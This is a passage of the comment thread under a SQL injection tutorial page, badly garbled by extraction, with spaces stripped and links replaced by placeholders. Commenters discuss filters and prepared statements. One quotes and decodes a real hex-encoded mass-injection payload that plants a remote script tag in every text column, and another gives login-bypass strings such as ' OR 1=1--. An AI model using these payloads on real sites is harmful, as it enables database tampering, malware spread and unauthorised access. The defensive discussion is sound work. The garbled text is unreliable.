$value=str_replace(&quote;_APOSTROPHE_&quote;,&quote;'&quote;,&quote;$value&quote;); $value=str_replace(&quote;_BACKSLASH_&quote;,&quote;\\&quote;,&quote;$value&quote;); $value=str_replace(&quote;_AT_&quote;,&quote;@&quote;,&quote;$value&quote;); $value=str_replace(&quote;_LEFT_ARROW_&quote;,&quote;<&quote;,&quote;$value&quote;); $value=str_replace(&quote;_RIGHT_ARROW_&quote;,&quote;>&quote;,&quote;$value&quote;); $value=str_replace(&quote;_LEFT_BRACKET_&quote;,&quote;[&quote;,&quote;$value&quote;); $value=str_replace(&quote;_RIGHT_BRACKET_&quote;,&quote;]&quote;,&quote;$value&quote;); $value=str_replace(&quote;_PERCENT_&quote;,&quote;%&quote;,&quote;$value&quote;); 22Mar. 2008

Subject: From: HiAll,

IISFilter josie

Date:

IworkasSystemEngineerinamajorISPcompanyandwearehostingalargenumberoflegacyASP [Link] thesourcecode,but9out10timestheydon'[Link]

11.05.09 16:30

[Link]

17 of 20

SecuriTeam - SQL Injection Walkthrough

agree: [Link] SofaritseemstobeworkingandIhavenothadproblemsexceptthatIcannotinstallinWindows64bit. Haveyouheardaboutthistool?Isthereawaytomakeitworkin64bit?ThesourcecodeistherebutIam notgoodinC++. Thanks, P.S.:Iamnotusingmyrealnametoavoidproblemwithmyclients. Subject: IISFiltertoSQLInjection Date: 8May2008 From: BetterSafethanSorry [Link] [Link],[Link](anddifficult)to fixallcode,[Link](GNUwithsourcecode)applicationforIIS [Link],butthefilterhasblockedtheeffectsofsuchattacks. Installationandcodecanbefoundhere: [Link] [Link] lesserserver:( Subject: SQLInjectionProgrammingHelp Date: 13Jun.2008 From: AmirSegal Ifthishelpsatall,IpostedapagewithSQLInjectionprogrammingprotectionhere: [Link] AmirSegal,Programmer Subject: Whattheyrereallydoing Date: 18Jun.2008 From: princeoforange FWIW,thetechniquesmentionedheredon'tquitedescribethemethodsofemployedbyrecentSQLInjection attacksI'[Link]: 'DECLARE@SVARCHAR(4000)SET @S=CAST(0x4445434C415245204054205641524348415228323535292C404320564 152434841522832353529204445434C415245205461626C655F437572736F7220435 552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F 4D207379736F626A6563747320612C737973636F6C756D6E7320622057484552452 0612E69643D622E696420414E4420612E78747970653D27752720414E442028622E7 8747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D 323331204F5220622E78747970653D31363729204F50454E205461626C655F437572 736F72204645544348204E4558542046524F4D205461626C655F437572736F722049 4E544F2040542C4043205748494C4528404046455443485F5354415455533D302920 424547494E20455845432827555044415445205B272B40542B275D20534554205B2 72B40432B275D3D525452494D28434F4E5645525428564152434841522834303030

11.05.09 16:30

[Link]

18 of 20

SecuriTeam - SQL Injection Walkthrough

292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2 F7777772E6368696E61626E722E636F6D2F622E6A733E3C2F7363726970743E2727 2729204645544348204E4558542046524F4D205461626C655F437572736F7220494E 544F2040542C404320454E4420434C4F5345205461626C655F437572736F7220444 5414C4C4F43415445205461626C655F437572736F7220ASVARCHAR(4000));EXEC(@S);-Ifyouprint@S,youget: DECLARE@TVARCHAR(255),@CVARCHAR(255) DECLARETable_CursorCURSORFOR [Link],[Link],[Link]=[Link]='u'AND ([Link]=[Link]=[Link]=[Link]=167) OPENTable_Cursor FETCHNEXTFROMTable_CursorINTO@T,@C WHILE(@@FETCH_STATUS=0)BEGINEXEC('UPDATE['+@T+']SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<scriptsrc=[Link] </script>''') FETCHNEXTFROMTable_CursorINTO@T,@C END CLOSETable_Cursor DEALLOCATETable_Cursor 22Aug. 2008

Subject:

Anothertip

Date:

From: Brian MakesuretheloginyouusefromyourwebsitedoesNOThavepermissiontosystemtableswhenitisnot needed,especiallysysobjects,syscolumns,system_objects,etc...publichasaccesstothembydefaultand thatiswhatopensthedoorwideformostoftheselowlifesiftheydofindacrack. Subject: KEYTOPREVENTSQLINJECTION From: ANKUR TUTORIALISOFCOURSEAQUALITYONE!!!GREATWORKBYAUTHOR... Date: 11Nov.2008

TOPREVENTSQLINJECTION,ALWAYSREMEMBERONETHING:ALLINPUTSAREEVIL. NEVERTRUSTANYUSERINPUT(EVENWHENITSHARD-CODEDINHIDDENTEXTFIELD)OR INFORMATIONFROMCOOKIES. [Link], ITMIGHTBEEXPLOITEDFORHACKINGSESSIONIDORRUNNINGSCRIPTS. BEFOREEXECUTINGANYSQLQUERY,ALWAYSPARSEITTOVALIDSQLUSING CONSTRAINTS. HAPPYSQLINJECTING... 31Dec. 2008

Subject:

None

Date:

From: Anonymous Forallthosepeopleusing'OR1=1--andarestillgettinginvalidusernameorpassword,tryusing&quote; insteadof',the'intheinjectionpartisthesupposedendoftheinputstringsoifthestartoftheinputstringis adifferentsymboltothestartofyourinjection,SQLwilljustcarryonwiththestring,example

11.05.09 16:30

[Link]

19 of 20

SecuriTeam - SQL Injection Walkthrough

&quote;SELECT*FROMuserWHEREuser=&quote;$inputUser&quote;ANDpass=&quote;$inputPass& quote; If$inputUseris'OR1=1--,Itwouldthinkthatspartoftheusernameandnotanotherparttothequery However,if$inputUseris&quote;OR1=1--,thequerywouldlooklikethis 'SELECT*FROMuserWHEREuser=&quote;&quote;OR1=1',thatshowSQLwouldseethequery. Subject: Sqlinjection Date: 1May2009 From: Jonny $db=newPDO('pgsql:dbname=database'); $stmt=$db->prepare(&quote;SELECTprivFROMtestUsersWHEREusername=:usernameAND password=:password&quote;); $stmt->bindParam(':username',$user); $stmt->bindParam(':password',$pass); $stmt->execute(); Basically,[Link] this,youensurethatyourparameterswillbeinterpretedasparameters(text)[Link] methodyouare100%[Link]:PHope thishelpedanybodywhowaslookingforasolution.

11.05.09 16:30

[Link]

20 of 20

You might also like